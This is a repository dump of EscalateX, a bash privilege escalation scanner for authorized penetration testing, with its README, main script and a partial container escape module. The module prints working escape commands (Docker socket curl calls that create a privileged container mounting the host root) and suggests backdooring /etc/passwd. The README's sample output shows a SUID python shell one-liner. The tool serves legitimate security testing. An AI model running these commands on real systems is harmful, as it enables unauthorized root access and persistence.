├── .github
└── ISSUE_TEMPLATE
│ ├── bug_report.md
│ └── feature_request.md
├── LICENSE.md
├── README.md
├── escalatex.sh
├── modules
├── cloud_checks
│ └── aws_azure_gcp.sh
├── container_checks
│ └── container_escape.sh
├── credentials
│ └── credentials_hunter.sh
├── exploit_checks
│ ├── cron_jobs.sh
│ ├── docker_checks.sh
│ ├── kernel_exploits.sh
│ ├── suid_sgid.sh
│ └── writable_files.sh
├── loader.sh
├── network_info
│ └── network_checks.sh
├── system_info
│ └── general.sh
├── user_info
│ └── users.sh
└── utils
│ └── core.sh
└── title.png
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug report
3 | about: Create a report to help us improve
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 |
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Run '...'
16 | 2. Use argument '....'
17 | 3. Scroll down to '....'
18 | 4. See error
19 |
20 | **Expected behavior**
21 | A clear and concise description of what you expected to happen.
22 |
23 | **Screenshots**
24 | If applicable, add screenshots to help explain your problem.
25 |
26 | **Desktop (please complete the following information):**
27 | - OS: [e.g. Zorin OS]
28 | - Version [e.g. 17.1]
29 |
30 | **Additional context**
31 | Add any other context about the problem here.
32 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/feature_request.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Feature request
3 | about: Suggest an idea for this project
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Is your feature request related to a problem? Please describe.**
11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
12 |
13 | **Describe the solution you'd like**
14 | A clear and concise description of what you want to happen.
15 |
16 | **Describe alternatives you've considered**
17 | A clear and concise description of any alternative solutions or features you've considered.
18 |
19 | **Additional context**
20 | Add any other context or screenshots about the feature request here.
21 |
--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
1 | # Creative Commons Attribution-NonCommercial 4.0 International License (CC BY-NC 4.0)
2 |
3 | This work is licensed under the Creative Commons Attribution-NonCommercial 4.0 International License.
4 |
5 | To view a copy of this license, visit:
6 | https://creativecommons.org/licenses/by-nc/4.0/
7 |
8 | or send a letter to:
9 | Creative Commons
10 | PO Box 1866
11 | Mountain View, CA 94042
12 | USA
13 |
14 | ## You are free to:
15 |
16 | - **Share** — copy and redistribute the material in any medium or format
17 | - **Adapt** — remix, transform, and build upon the material
18 |
19 | The licensor cannot revoke these freedoms as long as you follow the license terms.
20 |
21 | ## Under the following terms:
22 |
23 | - **Attribution** — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.
24 | - **NonCommercial** — You may not use the material for commercial purposes.
25 | - **No additional restrictions** — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.
26 |
27 | ## Notices:
28 |
29 | You do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable exception or limitation.
30 |
31 | No warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material.
32 |
33 | ---
34 |
35 | This is a human-readable summary of (and not a substitute for) the full license, which can be found at the link above.
36 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # EscalateX
2 |
3 |
4 |
5 | [](https://creativecommons.org/licenses/by-nc/4.0/)
6 | 
7 | 
8 | 
9 |
10 | 
11 |
12 | **A powerful Linux privilege escalation scanner for security professionals**
13 |
14 |
15 |
16 | ## 📖 About
17 |
18 | EscalateX is a cybersecurity tool designed to identify privilege escalation vectors on Linux systems. Automating the process of finding potential vulnerabilities and a modern alternative to LinPEAS is the purpose of EscalateX.
19 |
20 | The tool is currently in its early development phase. Bugs can and will occur while running the tool - therefore, please report your findings by sending me an email.
21 |
22 | ### Key Features
23 |
24 | - ✅ **System Configuration Analysis**: Identifies misconfigurations in system settings
25 | - ✅ **Privilege Abuse Detection**: Locates SUID/SGID binaries and dangerous capabilities
26 | - ✅ **Filesystem Vulnerability Scanning**: Finds writable files in sensitive locations
27 | - ✅ **Kernel Exploit Detection**: Discovers kernel vulnerabilities that could lead to privilege escalation
28 | - ✅ **Container Security**: Evaluates potential container escape vectors
29 |
30 | ## 🚀 Installation
31 |
32 | Quick setup in three simple steps:
33 |
34 | ```bash
35 | # Clone the repository
36 | git clone https://github.com/reschjonas/EscalateX.git
37 |
38 | # Navigate to the directory
39 | cd EscalateX
40 |
41 | # Make it executable
42 | chmod +x escalatex.sh
43 | ```
44 |
45 | ### 📋 Requirements
46 |
47 | Runs on most Linux distributions with:
48 | - Bash 4.0+
49 | - Standard Unix utilities (find, grep, ls, etc.)
50 | - The `timeout` command (optional but recommended)
51 |
52 | ## 💻 Usage
53 |
54 | ### Basic Operation
55 |
56 | Simply run the script:
57 |
58 | ```bash
59 | ./escalatex.sh
60 | ```
61 |
62 | ### Advanced Options
63 |
64 | ```bash
65 | # Run a comprehensive scan (longer but more thorough)
66 | ./escalatex.sh --thorough
67 |
68 | # Target specific checks only
69 | ./escalatex.sh --only system_info,suid_sgid
70 |
71 | # Use elevated privileges for deeper analysis
72 | ./escalatex.sh --multi --password yourpassword
73 |
74 | # Maximum depth scan for critical systems
75 | ./escalatex.sh --extreme
76 | ```
77 |
78 | ### Command Line Options
79 |
80 |
81 | Click to expand all options
82 |
83 | #### Core Options
84 | - `-a, --all` - Run all checks (thorough mode)
85 | - `-t, --thorough` - More comprehensive but slower scan
86 | - `-x, --extreme` - Maximum depth scan for critical systems
87 | - `-o, --only CHECKS` - Run specific checks (comma-separated)
88 | - `-d, --dir PATH` - Check a specific directory
89 | - `-m, --multi` - Use multiple threads (default)
90 | - `-s, --single` - Single-threaded mode
91 | - `--threads N` - Set number of threads for multithreaded mode
92 |
93 | #### Output Options
94 | - `-q, --quiet` - Minimal output
95 | - `-n, --no-color` - Turn off colors
96 | - `-w, --wait` - Pause between check groups
97 |
98 | #### Advanced Options
99 | - `-p, --password PWD` - For sudo operations
100 | - `-S, --sudo-pass` - Prompt for sudo password for privilege escalation attempts
101 | - `-D, --debug` - Verbose logging
102 | - `-h, --help` - Show help
103 |
104 |
105 | ## 🔍 What It Checks For
106 |
107 |
108 | System Information
109 |
110 | - OS details and kernel version
111 | - Security configurations and patch status
112 | - Hardware info and resource usage
113 | - Filesystem mounts and permissions
114 | - Boot configuration and services
115 |
116 |
117 |
118 | User & Permissions
119 |
120 | - Current user privileges
121 | - User enumeration and group memberships
122 | - Password policy issues
123 | - Sudo rules that could be abused
124 | - Home directory permissions
125 |
126 |
127 |
128 | Privilege Escalation Vectors
129 |
130 | - SUID/SGID binaries (especially exploitable ones)
131 | - Files with dangerous capabilities
132 | - Custom privilege escalation paths
133 | - Container security issues
134 |
135 |
136 |
137 | Filesystem Issues
138 |
139 | - Writable files in sensitive locations
140 | - Misconfigured home directory permissions
141 | - PATH manipulation vulnerabilities
142 | - Wildcard injection opportunities
143 |
144 |
145 | ## 📊 Sample Output
146 |
147 |
148 | Click to see sample scan results
149 |
150 | ```
151 | ┏━━━━━━━━━━━━━━━━━━━━━━━━━━ System Information ━━━━━━━━━━━━━━━━━━━━━━━━━━┓
152 |
153 | ╔════════[ Operating System Information ]════════╗
154 | [+] OS: Ubuntu 20.04.3 LTS (ubuntu)
155 | [+] Kernel version: 5.11.0-27-generic
156 | [+] Architecture: x86_64
157 | [+] Running on physical hardware
158 |
159 | ╔════════[ Hardware Information ]════════╗
160 | [+] CPU: Intel(R) Core(TM) i7-10700K CPU @ 3.80GHz (8 cores)
161 | [+] Memory: 6453MB / 16000MB (40% used)
162 | [+] Swap: 2048MB / 4096MB (50% used)
163 |
164 | ...
165 |
166 | ┏━━━━━━━━━━━━━━━━━━━━━━━━━━ SUID/SGID Binaries and Capabilities ━━━━━━━━━━━━━━━━━━━━━━━━━━┓
167 |
168 | ╔════════[ SUID/SGID Binaries ]════════╗
169 | [*] Looking for SUID binaries (might take a while)...
170 | [+] Found 35 SUID/SGID binaries:
171 | [!] /usr/bin/sudo [Owner: root]
172 | → Purpose: Execute commands as root with proper permissions
173 | [!] /usr/bin/pkexec [Owner: root]
174 | → Purpose: Execute commands as another user with policykit
175 | [CRITICAL] /usr/bin/python3 [Owner: root]
176 | → Exploitable: python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
177 |
178 | ...
179 |
180 | ┏━━━━━━━━━━━━━━━━━━━━━━━━━━ Scan Summary ━━━━━━━━━━━━━━━━━━━━━━━━━━┓
181 |
182 | [*] EscalateX scan completed at Wed Feb 14 14:32:18 EST 2024
183 | [*] Remember to check the most promising privilege escalation vectors highlighted in red
184 |
185 | Thank you for using EscalateX!
186 | ```
187 |
188 |
189 | ## 🗺️ Roadmap
190 |
191 |
192 |
193 | ### Future Development Plans
194 |
195 |
196 |
197 | | Feature | Status | Description |
198 | |---------|--------|-------------|
199 | | 📑 **Report Generator** | Planned | Create comprehensive HTML/PDF reports with findings and remediation recommendations |
200 | | 🛠️ **Single Script Builder** | Planned | Build-Script to compile all modules into a singular script |
201 | | 🔍 **Service Version Scanning** | Planned | Identify outdated software versions running as services |
202 | | 🌐 **Real-time CVE Collection** | Planned | Connect to vulnerability databases to map identified software versions to known CVEs |
203 | | 🛠️ **Automatic Vulnerability Exploiter** | Considering | Optional module to automatically exploit identified vulnerabilities |
204 |
205 |
206 |
207 |
208 | ## 🧩 Custom Modules
209 |
210 | You can extend EscalateX with your own custom modules:
211 |
212 |
213 | How to create custom modules
214 |
215 | 1. Create a script in the modules directory
216 | 2. Use this basic structure:
217 |
218 | ```bash
219 | #!/bin/bash
220 |
221 | # Title: My Custom Check
222 | # Description: What this thing does
223 |
224 | check_something_interesting() {
225 | print_subtitle "My Interesting Check"
226 |
227 | # Your check logic here
228 | print_info "Checking something..."
229 |
230 | # Found something worth noting
231 | print_warning "Hmm, that's interesting"
232 |
233 | # Found something bad
234 | print_critical "This is definitely exploitable"
235 | }
236 |
237 | # Main function
238 | custom_checks() {
239 | print_title "My Custom Stuff"
240 |
241 | # Run your checks
242 | check_something_interesting
243 |
244 | # Pause if wait mode is on
245 | wait_for_user
246 | }
247 | ```
248 |
249 | 3. Add your module to loader.sh
250 |
251 |
252 | ## ⚠️ Important Warning
253 |
254 |
255 |
256 | **This is a security tool. Use it responsibly.**
257 |
258 |
259 |
260 | - 🔒 Only run it on systems you own or have permission to test
261 | - 🚨 Some checks might trigger security alerts or monitoring
262 | - ⚙️ Be careful in production environments
263 | - 🤝 Don't be a jerk - never use this for unauthorized access
264 |
265 | ## 📝 License
266 |
267 |
268 |
269 | [](https://creativecommons.org/licenses/by-nc/4.0/)
270 |
271 |
272 |
273 | This project is licensed under the Creative Commons Attribution-NonCommercial 4.0 International License (CC BY-NC 4.0) - see the [LICENSE](LICENSE.md) file for details.
274 |
275 | This means you can freely use, modify, and distribute this software, as long as:
276 | - You give appropriate credit to the original author
277 | - You don't use it for commercial purposes
278 |
279 | For more information, visit: https://creativecommons.org/licenses/by-nc/4.0/
280 |
281 | ## 👥 Contributing
282 |
283 | Contributions are welcome and appreciated! To contribute:
284 |
285 | 1. Fork the repository
286 | 2. Create a branch (`git checkout -b cool-new-feature`)
287 | 3. Commit your changes (`git commit -m 'Added some cool feature'`)
288 | 4. Push to your branch (`git push origin cool-new-feature`)
289 | 5. Open a Pull Request
290 |
291 |
292 |
293 | **[⬆ Back to top](#escalatex)**
294 |
295 |
296 |
--------------------------------------------------------------------------------
/escalatex.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #############################################################
4 | # #
5 | # ███████╗███████╗ ██████╗ █████╗ ██╗ █████╗ ████████╗███████╗██╗ ██╗
6 | # ██╔════╝██╔════╝██╔════╝██╔══██╗██║ ██╔══██╗╚══██╔══╝██╔════╝╚██╗██╔╝
7 | # █████╗ ███████╗██║ ███████║██║ ███████║ ██║ █████╗ ╚███╔╝
8 | # ██╔══╝ ╚════██║██║ ██╔══██║██║ ██╔══██║ ██║ ██╔══╝ ██╔██╗
9 | # ███████╗███████║╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗██╔╝ ██╗
10 | # ╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
11 | # #
12 | # Advanced Privilege Escalation Scanner #
13 | # https://github.com/reschjonas/EscalateX #
14 | # #
15 | ##############################################################
16 |
17 | VERSION="1.0.0"
18 | AUTHOR="Jonas Resch"
19 | DISCLAIMER="This tool should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own risk on your own systems or with explicit permission."
20 |
21 | # Cleanup function
22 | cleanup() {
23 | echo -e "\n${YELLOW}[!] Interrupted! Cleaning up...${NC}" >&2
24 | # Kill any background processes that might be running
25 | jobs -p | xargs -r kill 2>/dev/null
26 | exit 1
27 | }
28 |
29 | # Set up trap for cleanup on interrupt
30 | trap cleanup SIGINT SIGTERM
31 |
32 | # Check if user is root
33 | if ([ -f /usr/bin/id ] && [ "$(/usr/bin/id -u)" -eq "0" ]) || [ "`whoami 2>/dev/null`" = "root" ]; then
34 | IAMROOT="1"
35 | MAX_SEARCH_DEPTH="7" # Increased depth for root users
36 | else
37 | IAMROOT=""
38 | MAX_SEARCH_DEPTH="5" # Standard depth for non-root users
39 | fi
40 |
41 | ###########################################
42 | #---------------) Colors (----------------#
43 | ###########################################
44 |
45 | C=$(printf '\033')
46 | RED="${C}[1;31m"
47 | GREEN="${C}[1;32m"
48 | YELLOW="${C}[1;33m"
49 | BLUE="${C}[1;34m"
50 | MAGENTA="${C}[1;35m"
51 | CYAN="${C}[1;36m"
52 | WHITE="${C}[1;37m"
53 | GRAY="${C}[1;90m"
54 | BOLD="${C}[1m"
55 | UNDERLINED="${C}[4m"
56 | BLINK="${C}[5m"
57 | REVERSE="${C}[7m"
58 | NC="${C}[0m"
59 |
60 | ###########################################
61 | #----------) Parsing Arguments (----------#
62 | ###########################################
63 |
64 | # Default settings
65 | THOROUGH="" # Thorough scan (slower but more comprehensive)
66 | EXTREME_SCAN="" # Most aggressive scan (very slow but most comprehensive)
67 | QUIET="" # No banner or unnecessary output
68 | CHECKS="all" # All checks by default
69 | TARGET_DIR="/" # Default root directory to scan
70 | WAIT="" # Wait between major checks
71 | PASSWORD="" # Password for sudo/su attempts
72 | NO_COLOR="" # Disable colors
73 | DEBUG="" # Enable debug output
74 | AUTO_NETWORK_SCAN="" # Automatic network scanning (placeholder)
75 | EXTENDED_CHECKS="" # Additional extended checks (placeholder)
76 | REGEX_SEARCH="" # Enable regex pattern searches (placeholder)
77 | MULTITHREADED="1" # Enable multithreaded operations by default
78 | USE_SUDO_PASS="" # Whether to prompt for sudo password
79 | THREADS=$(grep -c processor /proc/cpuinfo 2>/dev/null || echo 2)
80 | [ -z "$THREADS" ] || ! [[ "$THREADS" =~ ^[0-9]+$ ]] || [ "$THREADS" -lt 1 ] && THREADS=2 # Ensure threads is a number >= 1, default 2
81 |
82 | print_banner() {
83 | if [ -z "$QUIET" ]; then
84 | echo ""
85 | echo -e "${GREEN}███████╗███████╗ ██████╗ █████╗ ██╗ █████╗ ████████╗███████╗██╗ ██╗${NC}"
86 | echo -e "${GREEN}██╔════╝██╔════╝██╔════╝██╔══██╗██║ ██╔══██╗╚══██╔══╝██╔════╝╚██╗██╔╝${NC}"
87 | echo -e "${GREEN}█████╗ ███████╗██║ ███████║██║ ███████║ ██║ █████╗ ╚███╔╝ ${NC}"
88 | echo -e "${GREEN}██╔══╝ ╚════██║██║ ██╔══██║██║ ██╔══██║ ██║ ██╔══╝ ██╔██╗ ${NC}"
89 | echo -e "${GREEN}███████╗███████║╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗██╔╝ ██╗${NC}"
90 | echo -e "${GREEN}╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝${NC}"
91 | echo ""
92 | echo -e "${BLUE}[*] EscalateX - Advanced Privilege Escalation Scanner${NC}"
93 | echo -e "${BLUE}[*] Version: ${WHITE}${VERSION}${NC}"
94 | echo -e "${BLUE}[*] Author: ${WHITE}${AUTHOR}${NC}"
95 | echo -e "${BLUE}[*] Running as: ${WHITE}$(whoami)${NC}"
96 | echo -e "${BLUE}[*] Started at: ${WHITE}$(date)${NC}"
97 | if [ "$IAMROOT" ]; then
98 | echo -e "${YELLOW}[!] You are already running as root. Privilege escalation might not be needed.${NC}"
99 | fi
100 | echo -e "${YELLOW}[!] ${DISCLAIMER}${NC}"
101 | echo ""
102 | fi
103 | }
104 |
105 | # Help message
106 | show_help() {
107 | echo -e "${GREEN}EscalateX - Advanced Privilege Escalation Scanner${NC}"
108 | echo -e "${BLUE}Usage: ./escalatex.sh [OPTIONS]${NC}"
109 | echo ""
110 | echo -e "${GREEN}Scan Options:${NC}"
111 | echo -e " ${YELLOW}-a, --all${NC} Perform all checks (thorough mode)"
112 | echo -e " ${YELLOW}-t, --thorough${NC} Enable thorough scanning (slower but more comprehensive)"
113 | echo -e " ${YELLOW}-x, --extreme${NC} Enable extreme scanning (very slow but most comprehensive)"
114 | echo -e " ${YELLOW}-o, --only CHECKS${NC} Only execute specified checks (comma-separated list)"
115 | echo -e " ${GRAY}Available: system_info, user_info, suid_sgid, writable_files, cron_jobs, docker, kernel, credentials, network, container_escape, sudo${NC}"
116 | echo -e " ${YELLOW}-d, --dir PATH${NC} Target directory to scan (default: /)"
117 | echo -e " ${YELLOW}-m, --multi${NC} Enable multithreaded scanning (default: $THREADS threads)"
118 | echo -e " ${YELLOW}-s, --single${NC} Disable multithreaded scanning"
119 | echo -e " ${YELLOW}--threads N${NC} Set number of threads for multithreaded mode (default: $THREADS)"
120 | # echo -e " ${YELLOW}-r, --regex${NC} Enable regex pattern searches (Placeholder)"
121 | echo -e ""
122 | echo -e "${GREEN}Output Options:${NC}"
123 | echo -e " ${YELLOW}-q, --quiet${NC} Quiet mode (no banner or info messages)"
124 | echo -e " ${YELLOW}-n, --no-color${NC} Disable colored output"
125 | echo -e " ${YELLOW}-w, --wait${NC} Wait between major checks (requires user input)"
126 | echo -e ""
127 | echo -e "${GREEN}Advanced Options:${NC}"
128 | # echo -e " ${YELLOW}-N, --network${NC} Automatic network scanning (Placeholder)"
129 | # echo -e " ${YELLOW}-e, --extended${NC} Perform extended checks (Placeholder)"
130 | echo -e " ${YELLOW}-p, --password PWD${NC} Password for sudo/su attempts (use with caution)"
131 | echo -e " ${YELLOW}-S, --sudo-pass${NC} Prompt for sudo password for privilege escalation attempts"
132 | echo -e " ${YELLOW}-D, --debug${NC} Enable debug output (verbose)"
133 | echo -e " ${YELLOW}-h, --help${NC} Show this help message"
134 | echo -e " ${YELLOW}-v, --version${NC} Show version information"
135 | echo ""
136 | exit 0
137 | }
138 |
139 | # Process command line arguments
140 | while [[ $# -gt 0 ]]; do
141 | case $1 in
142 | -a|--all) THOROUGH="1" ;; # No longer enables extended/regex by default
143 | -t|--thorough) THOROUGH="1" ;;
144 | -x|--extreme) EXTREME_SCAN="1"; THOROUGH="1" ;; # Extreme implies thorough
145 | -o|--only) CHECKS="$2"; shift ;;
146 | -d|--dir) TARGET_DIR="$2"; shift ;;
147 | -q|--quiet) QUIET="1" ;;
148 | -n|--no-color) NO_COLOR="1" ;;
149 | -w|--wait) WAIT="1" ;;
150 | -p|--password) PASSWORD="$2"; shift ;;
151 | -S|--sudo-pass) USE_SUDO_PASS="1" ;;
152 | -D|--debug) DEBUG="1" ;;
153 | # -N|--network) AUTO_NETWORK_SCAN="1" ;; # Placeholder
154 | # -e|--extended) EXTENDED_CHECKS="1" ;; # Placeholder
155 | # -r|--regex) REGEX_SEARCH="1" ;; # Placeholder
156 | -m|--multi) MULTITHREADED="1" ;;
157 | -s|--single) MULTITHREADED=""; THREADS=1 ;;
158 | --threads)
159 | if [[ "$2" =~ ^[0-9]+$ ]] && [ "$2" -gt 0 ]; then
160 | THREADS="$2"
161 | else
162 | echo -e "${RED}Error: --threads requires a positive integer.${NC}" >&2; exit 1
163 | fi
164 | shift ;;
165 | -h|--help) show_help ;;
166 | -v|--version) echo "EscalateX Version: $VERSION"; exit 0 ;;
167 | *) echo -e "${RED}Error: Unknown option $1${NC}" >&2; show_help ;;
168 | esac
169 | shift
170 | done
171 |
172 | # Apply color settings
173 | if [ "$NO_COLOR" ]; then
174 | C=""; RED=""; GREEN=""; YELLOW=""; BLUE=""; MAGENTA=""; CYAN="";
175 | WHITE=""; GRAY=""; BOLD=""; UNDERLINED=""; BLINK=""; REVERSE=""; NC=""
176 | fi
177 |
178 | # Validate target directory
179 | if [ ! -d "$TARGET_DIR" ]; then
180 | echo -e "${RED}Error: Target directory '$TARGET_DIR' not found or is not a directory.${NC}" >&2
181 | exit 1
182 | fi
183 | print_debug "Target directory set to: $TARGET_DIR"
184 |
185 | # Set thread count to 1 if single threaded mode is chosen
186 | if [ -z "$MULTITHREADED" ]; then
187 | THREADS=1
188 | fi
189 | print_debug "Thread count set to: $THREADS"
190 |
191 | # Check if the script is running from the correct directory
192 | if [ ! -d "modules" ]; then
193 | echo -e "${RED}Error: The 'modules' directory was not found.${NC}" >&2
194 | echo -e "${YELLOW}Please run the script from the EscalateX base directory.${NC}" >&2
195 | exit 1
196 | fi
197 |
198 | # Check for required files
199 | for required_file in "modules/loader.sh" "modules/utils/core.sh"; do
200 | if [ ! -f "$required_file" ]; then
201 | echo -e "${RED}Error: Required file '$required_file' not found.${NC}" >&2
202 | echo -e "${YELLOW}Please ensure all files are properly installed.${NC}" >&2
203 | exit 1
204 | fi
205 | done
206 |
207 | # Main function
208 | main() {
209 | # Print banner unless quiet mode
210 | print_banner
211 |
212 | # Display disclaimer and require acceptance before proceeding (unless quiet)
213 | if [ -z "$QUIET" ]; then
214 | # Disclaimer already shown in banner
215 | # echo -e "${RED}DISCLAIMER:${NC}"
216 | # echo -e "${YELLOW}This tool should be used for authorized penetration testing and/or educational purposes only.${NC}"
217 | # echo -e "${YELLOW}Any misuse of this software will not be the responsibility of the author or of any other collaborator.${NC}"
218 | # echo -e "${YELLOW}Use it at your own risk on your own systems or with explicit permission.${NC}"
219 | # echo ""
220 | read -p "Do you understand and accept these terms? (y/n): " accept_disclaimer
221 | if [[ ! $accept_disclaimer =~ ^[Yy]$ ]]; then
222 | echo -e "${RED}Terms not accepted. Exiting.${NC}"
223 | exit 1
224 | fi
225 | echo ""
226 | fi
227 |
228 | # Ask for sudo password if enabled and not already provided via -p
229 | if [ "$USE_SUDO_PASS" ] && [ -z "$PASSWORD" ]; then
230 | echo -e "${BLUE}[*] Sudo privilege escalation attempts enabled.${NC}"
231 | read -s -p "Enter sudo password for $(whoami): " PASSWORD
232 | echo ""
233 | # Test if the password works (use -k to invalidate cached credentials first)
234 | if ! echo "$PASSWORD" | sudo -S -k true >/dev/null 2>&1; then
235 | echo -e "${RED}[!] Invalid sudo password or sudo access denied. Proceeding without sudo password.${NC}"
236 | PASSWORD="" # Clear the incorrect password
237 | else
238 | echo -e "${GREEN}[+] Sudo password verified.${NC}"
239 | fi
240 | elif [ -z "$USE_SUDO_PASS" ] && [ -z "$PASSWORD" ]; then
241 | if [ -z "$QUIET" ]; then # Only show if not quiet
242 | echo -e "${YELLOW}[!] Running without sudo password. Sudo-based checks will be limited.${NC}"
243 | echo -e "${YELLOW}[!] Use --sudo-pass to prompt or -p to provide one.${NC}"
244 | fi
245 | fi
246 |
247 | # Load module loader
248 | if [ -f "modules/loader.sh" ]; then
249 | source modules/loader.sh
250 |
251 | # Initialize and run all modules via the loader's main function
252 | init_modules
253 | else
254 | echo -e "${RED}Error: Module loader (modules/loader.sh) not found. Cannot continue.${NC}" >&2
255 | exit 1
256 | fi
257 | }
258 |
259 | # Execute main function
260 | main
261 |
--------------------------------------------------------------------------------
/modules/container_checks/container_escape.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: Container Escape Techniques
4 | # Description: Advanced checks for container escape vectors and misconfigurations
5 | # Author: Jonas Resch
6 |
7 | # Check for container escape vectors via mounted host filesystems
8 | check_mounted_filesystems() {
9 | print_subtitle "Mounted Host Filesystems"
10 |
11 | print_info "Checking for mounted host filesystems that could allow container escape..."
12 |
13 | # Check if we're in a container
14 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then
15 | print_success "Not running in a container, skipping check"
16 | return
17 | fi
18 |
19 | # Check for mount points that might allow escape
20 | dangerous_mounts=()
21 |
22 | # Check /proc mount
23 | proc_mount=$(grep "/proc" /proc/mounts | head -n1)
24 | if [ -n "$proc_mount" ] && ! echo "$proc_mount" | grep -q "proc"; then
25 | dangerous_mounts+=("${RED}Host /proc is mounted: $proc_mount${NC}")
26 | fi
27 |
28 | # Check for host filesystem mounts
29 | host_mounts=$(grep -v "proc\|tmpfs\|cgroup\|sysfs\|devpts" /proc/mounts | grep -v "^overlay" | grep "/ ")
30 | if [ -n "$host_mounts" ]; then
31 | dangerous_mounts+=("${RED}Host root filesystem appears to be mounted: $host_mounts${NC}")
32 | fi
33 |
34 | # Check for docker socket mount
35 | if [ -e /var/run/docker.sock ]; then
36 | dangerous_mounts+=("${RED}Docker socket is mounted: /var/run/docker.sock${NC}")
37 | fi
38 |
39 | # Check for other suspicious mounts
40 | suspicious_dirs=("/host" "/var/lib/docker" "/var/lib/kubelet" "/var/run/docker" "/var/run/crio" "/var/lib/containerd")
41 | for dir in "${suspicious_dirs[@]}"; do
42 | if [ -d "$dir" ] && [ -r "$dir" ]; then
43 | dangerous_mounts+=("${RED}Suspicious directory mounted: $dir${NC}")
44 | fi
45 | done
46 |
47 | # Report findings
48 | if [ ${#dangerous_mounts[@]} -gt 0 ]; then
49 | print_critical "${RED}Found potential escape vectors via mounted filesystems:${NC}"
50 | for mount in "${dangerous_mounts[@]}"; do
51 | print_critical " ${RED}→ $mount${NC}"
52 | done
53 |
54 | print_critical "${RED}Exploitation guidance:${NC}"
55 | if [ -e /var/run/docker.sock ]; then
56 | print_critical " ${RED}→ Docker socket escape:${NC}"
57 | print_critical " ${RED}curl -s --unix-socket /var/run/docker.sock http://localhost/images/json${NC}"
58 | print_critical " ${RED}curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json${NC}"
59 | print_critical " ${RED}→ Create a privileged container to escape:${NC}"
60 | print_critical " ${RED}curl -s -X POST --unix-socket /var/run/docker.sock -H \"Content-Type: application/json\" http://localhost/containers/create?name=escape -d '{\"Image\":\"alpine\",\"Cmd\":[\"/bin/sh\"],\"Binds\":[\"/:/host\"],\"Privileged\":true}'${NC}"
61 | print_critical " ${RED}curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/escape/start${NC}"
62 | print_critical " ${RED}curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/escape/attach?stderr=1&stdin=1&stdout=1&stream=1${NC}"
63 | elif [ -n "$host_mounts" ]; then
64 | print_critical " ${RED}→ Host filesystem is mounted, you may be able to access host files directly${NC}"
65 | print_critical " ${RED}→ Look for SSH keys, config files, and sensitive data${NC}"
66 | print_critical " ${RED}→ Try to add a backdoor user to /etc/passwd or SSH authorized_keys${NC}"
67 | fi
68 | else
69 | print_success "No obvious filesystem escape vectors found"
70 | fi
71 | }
72 |
73 | # Check capabilities that may allow container escape
74 | check_dangerous_capabilities() {
75 | print_subtitle "Dangerous Capabilities"
76 |
77 | print_info "Checking for capabilities that could allow container escape..."
78 |
79 | # Check if we're in a container
80 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then
81 | print_success "Not running in a container, skipping check"
82 | return
83 | fi
84 |
85 | # Define dangerous capabilities and their exploitation methods
86 | declare -A cap_exploits
87 | cap_exploits["cap_sys_admin"]="Mount filesystems, perform privileged operations"
88 | cap_exploits["cap_sys_ptrace"]="Attach to host processes, read memory"
89 | cap_exploits["cap_sys_module"]="Load kernel modules"
90 | cap_exploits["cap_sys_rawio"]="Direct I/O access, potentially access disk devices"
91 | cap_exploits["cap_sys_time"]="Change system time"
92 | cap_exploits["cap_net_admin"]="Configure network, potentially sniff traffic"
93 | cap_exploits["cap_dac_override"]="Bypass file permission checks"
94 | cap_exploits["cap_dac_read_search"]="Bypass file read permission checks"
95 | cap_exploits["cap_chown"]="Change file ownership"
96 | cap_exploits["cap_setuid"]="Set UID, run as other users"
97 | cap_exploits["cap_setgid"]="Set GID, run as other groups"
98 | cap_exploits["cap_setfcap"]="Set file capabilities"
99 |
100 | # Get current capabilities
101 | if command_exists capsh; then
102 | caps=$(capsh --print 2>/dev/null)
103 |
104 | # More reliable way to check for specific capabilities
105 | found_dangerous=0
106 |
107 | for cap in "${!cap_exploits[@]}"; do
108 | # Simple string match against capsh output to see if the capability is present
109 | if echo "$caps" | grep -q "$cap"; then
110 | found_dangerous=1
111 | print_critical "${RED}Container has dangerous capability: $cap${NC}"
112 | print_critical " ${RED}→ Potential impact: ${cap_exploits[$cap]}${NC}"
113 |
114 | # Specific exploitation guidance for each capability
115 | case "$cap" in
116 | "cap_sys_admin")
117 | print_critical " ${RED}→ Exploitation method:${NC}"
118 | print_critical " ${RED}# Mount host filesystem and access it${NC}"
119 | print_critical " ${RED}mkdir -p /tmp/escape${NC}"
120 | print_critical " ${RED}mount -t proc proc /proc # If not already mounted${NC}"
121 | print_critical " ${RED}cd /tmp/escape${NC}"
